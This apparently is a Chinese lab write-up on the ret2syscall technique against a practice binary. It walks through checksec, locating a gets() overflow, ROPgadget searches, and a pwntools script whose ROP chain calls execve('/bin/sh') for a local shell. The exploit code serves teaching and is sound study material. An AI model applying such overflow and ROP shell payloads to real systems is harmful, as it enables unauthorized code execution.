ret2syscall
ret2Syscall实践
1.checksec检查下实验案例的保护机制
2.查看程序实现细节,寻找溢出点
发现有gets函数输入,可以利用。
3.计算溢出返回地址的偏移
4.用程序中已有的指令片段去修改eax=0xb(11),ebx=0,ecx=0,edx=0
用命令ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"寻找pop 和 ret指令连在一起的片段,且该片段中有对eax的操作。
同理去搜索带有ebx,ecx,edx的片段
还要去搜索程序中是否有字符串"/bin/sh",用ROPgadget --binary ./ret2syscall --string "/bin/sh"
最后寻找程序中”int 0x80“的位置,用ROPgadget --binary ./ret2syscall --only "int" | grep "0x80"
5.编写exp
from pwn import * p=process("./ret2syscall") p.recv() offset=112 eax_addr = p32(0x080bb196) ebx_ecx_edx_addr = p32(0x0806eb90) string_bin_sh_addr = p32(0x080be408) int_addr = p32(0x08049421) payload=offset*'a'+eax_addr+p32(0xb)+ebx_ecx_edx_addr+p32(0)+p32(0)+string_bin_sh_addr+int_addr p.sendline(payload) p.interactive()
运行结果:
这种方法的局限性:
依赖于程序中必须存在某些指令片段。